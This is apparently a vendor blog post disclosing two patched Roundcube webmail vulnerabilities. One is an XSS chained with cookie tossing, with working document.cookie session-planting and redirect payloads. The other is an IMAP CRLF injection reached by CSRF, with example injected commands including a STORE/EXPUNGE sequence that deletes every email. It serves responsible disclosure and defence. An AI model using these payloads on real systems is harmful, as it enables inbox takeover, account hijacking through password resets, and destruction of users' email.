Roundcube is the most widely deployed open-source webmail client in the world. We recently found a dangerous vulnerability in the application! It’s a stored XSS that, chained with a cookie tossing technique, gives an attacker full access to a victim's inbox and, from there, any account that uses that email address for authentication or password recovery.
We discovered this by running our AI pentesting agents against a local Roundcube instance. All findings were reported responsibly to Nextcloud, the maintainers of Roundcube, via HackerOne (XSS disclosed at #3594137) and patched in version 1.6.14.
In this piece, we'll go through what we did, how our agents found the vulnerability, and how a simple HTML injection could fully compromise a user's inbox.
The injection point
Every attack has a starting point. Let’s look at one that one of our agents picked up to audit.
Roundcube handles user-controlled content in a few different ways. Email bodies are the most scrutinized surface. These are heavily sanitized because they are displayed inline with the rest of the application.
HTML attachments are rendered via a separate endpoint in mail/get.php, with a Content Security Policy set to script-src 'none' to block JavaScript execution.
A third, more hidden endpoint handles inline attachments that have yet to be sent, temporarily viewable while composing an email. This is the endpoint we’ll be looking at. The display-attachment action handles this kind of requests:
class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
...
public function run($args = []) {
self::init();
$rcmail = rcmail::get_instance();
$file = $rcmail->get_uploaded_file(self::$file_id);
self::display_uploaded_file($file);
The function self::display_uploaded_file() is where the magic happens. As rcube_uploads.php shows, these kinds of attachments are returned directly with their original content type and body, with no sanitization, sandboxing and no Content Security Policy applied.
header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);
if (isset($file['data']) && is_string($file['data'])) {
echo $file['data'];
} elseif (!empty($file['path'])) {
readfile($file['path']);
}
How do we reach this endpoint, you may ask? While composing a new email inside Roundcube, you can attach a file to the temporary email, specifically an HTML file. We'll give it some malicious content:
<script>alert(origin)</script>
After uploading, clicking the attachment opens a pop-up that renders it using the get action, protected by a strong CSP. This is the safe path. The interesting part is what happens when you swap _action=get for _action=display-attachment:

Take the original URL for this display:
/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1Swapping _action=get for _action=display-attachment and dropping some unnecessary parameters gives you:
/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachmentThis URL renders the same content, but without the CSP! So, the JavaScript inside our HTML executes, alerting the current origin and confirming XSS:

This is an interesting Self-XSS, but is this really a problem? If we're being realistic, a regular user isn't going to upload our XSS payload by themselves and continue to view it in this special way…
Looking at attachment_upload.php, you'll find that a compose_data_ session key must be set for your current user, and only that user can retrieve the attachment.
public static function init()
{
self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
self::$COMPOSE = null;
self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;
if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
}
if (!self::$COMPOSE) {
exit('Invalid session var!');Since this is a temporary attachment tied to your current session only, there's no way to prepare a payload and have a victim trigger it by logging into the attacker's account, as we saw with Mailcow. The attacker's entire roundcube_sessid cookie would need to be copied over to the victim. Another impossible-sounding task.
Exploiting Self-XSS with Cookie Tossing
The Self-XSS we found looks unexploitable at first glance. The attachment is session-bound, so there's no way to prepare a payload for a victim without also handing them the attacker's session cookie. But the trouble actually isn’t over yet. That's where cookie tossing comes in.
In browsers, cookies have some interesting quirks, one of which is the Domain=attribute.
> Only the current domain can be set as the value, or a domain of a higher order, unless it is a public suffix. Setting the domain will make the cookie available to it, as well as to all its subdomains.
Cookies can be set not just for the current domain, but for a parent domain as well. A cookie set by sub.example.com with Domain=example.com becomes available to every subdomain under example.com, including ones like other.example.com that had nothing to do with setting it. This attack type is called Cookie Tossing, where one subdomain writes cookies that another subdomain will read.
This means all we need to exploit our vulnerability is control over a subdomain on the same domain as the target Roundcube domain. From there, a separate XSS vulnerability on something like xss.target.local can set the document.cookie property to write cookies with the Domain=target.local attribute. Once those cookies are set, the victim's browser will send them along to mail.target.local, where Roundcube loads the attacker's session instead of the victim's.
That session has the malicious HTML attachment ready and waiting. Navigating the victim to the attachment URL triggers the XSS payload inside Roundcube's origin, on the victim's browser, with no further interaction required.
In summary, what an attacker has to do to exploit it is:
- Log in to their own account, create a new email, and attach a malicious HTML file
- Copy the link to view (render) the attachment and the cookies
- From a subdomain vulnerable to XSS, set the cookie values using
document.cookiewith theDomain=attribute pointing to the target domain. - Redirect the victim to the attachment link. The XSS triggers in the Roundcube origin.
Here's what the subdomain XSS payload looks like in practice, setting the session cookies and redirecting the victim to the attachment URL
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';From the subdomain XSS, the rest of the Roundcube exploit requires no further user interaction. All the security of Roundcube now relies on every same-site subdomain.

Full access
The alert popup in the screenshot above confirms XSS is executing on Roundcube's origin, but it doesn't demonstrate real impact on its own. There's still a problem. At this point we've loaded the attacker's session into the victim's browser, so any action taken will be on the attacker's account rather than the victim's. Great to deliver our payload, not so great for accessing things we wouldn't normally be able to.
If you look at the browser, cookies don't actually get replaced when we set a different Domain=. They're both sent!
Cookie: roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER
When both cookies are present, the server picks the attacker's, since it appears last in the header. On the XSS payload, we want the attacker's cookies to be picked, while on all other endpoints afterward, we want the victim's cookies. Luckily, cookies have another attribute that perfectly solves this problem: Path=.
By setting a unique path like Path=/index.php/xss, which still points to the homepage, the cookies will only be sent when that path matches the request target. So for our requests:
/index.php/xsssendsroundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER-> attacker's payload is returned- / sends
roundcube_sessauth=VICTIM-> victim's emails are returned
We just have to change the JavaScript exploit to set this new attribute, and navigate to /index.php/xss afterward to ensure the attacker's cookies are sent in this request for our payload, but after that our XSS is free to access the victim's account.
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local; Path=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local; Path=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';In the DevTools, we can see how the duplicate cookies are set up now:

While the conditions required to exploit this (account on Roundcube + Subdomain XSS) are a little tricky, the potential impact of a successful exploit is huge.
Email is the most widely trusted form of authentication, as many websites rely on "magic links" for sign-in or password recovery. When an attacker has access to your emails, they can trigger these kinds of password resets on all websites you have the email connected to. Then, they can read the email that this service sends to confirm and gain access to many more accounts.
Remediation
Update Roundcube to version 1.6.14 or later (1.6.x), or 1.5.14 or later (1.5.x LTS). All reported vulnerabilities are patched in this release. If you use Aikido, vulnerable Roundcube instances are automatically flagged in your surface monitoring feed as a medium finding.

Not on Aikido yet? Create a free account to get started, no credit card required.
Conclusion
While initially looking like a trivial XSS vulnerability, exploiting this required a bit more knowledge of cookies and sessions. Same-site subdomains are often given slightly more permissions than completely separate websites by the browser, another reason to ensure all your assets are secure.
This is a hard task, but as shown here, Aikido Attack can autonomously pentest web applications to find such vulnerabilities across your entire infrastructure.
The maintainers of Roundcube patched this vulnerability in version 1.6.14 by adding a script-src 'none' Content Security Policy, just like the rest of the attachments already had. This makes it impossible to execute JavaScript when returning arbitrary HTML.
Bonus: IMAP CRLF Injection via CSRF
During the same pentest, another agent found a second vulnerability that we found particularly interesting. After reporting this, it ended up being a duplicate that the Martila Security Research Team also found. Still, we found it interesting enough to briefly explain the details of this vulnerability here.
The /?_task=mail&_action=search endpoint passes the client-supplied _filter parameter directly into the IMAP SEARCH command in rcube_imap_generic.php:
if (!empty($criteria)) {
$params .= ($params ? ' ' : '') . $criteria;
} else {
$params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);While the function seems to separate the command from its arguments, the implementation of execute() simply concatenates them without sanitization:
foreach ($arguments as $arg) {
$query .= ' ' . self::r_implode($arg);
}
By injecting a Carriage Return & Line Feed (CRLF, %0D%0A) characters, an attacker can break out of the SEARCH parameters and inject additional IMAP commands within the authenticated user's IMAP session.
With this, you can not only search emails but also add folders, move emails, or delete the entire inbox, since these are all raw IMAP commands.
Below is an example filter set to ALL%0D%0AX007%20CREATE%20EvilFolder:
Visiting it sends the following data to IMAP, with the injected CREATE command that executes after the search:
X006 SEARCH ALL
X007 CREATE EvilFolderThe effect of this can then be seen in the Roundcube UI:

Because this is a simple GET request, visiting the above link is all that's needed to execute the commands. With it, a single click of a link could permanently delete all emails (X001 UID STORE 1:* FLAGS \Deleted followed by X002 EXPUNGE), resulting in a big loss of data.
This vulnerability is now patched by removing \r\n characters from search queries.

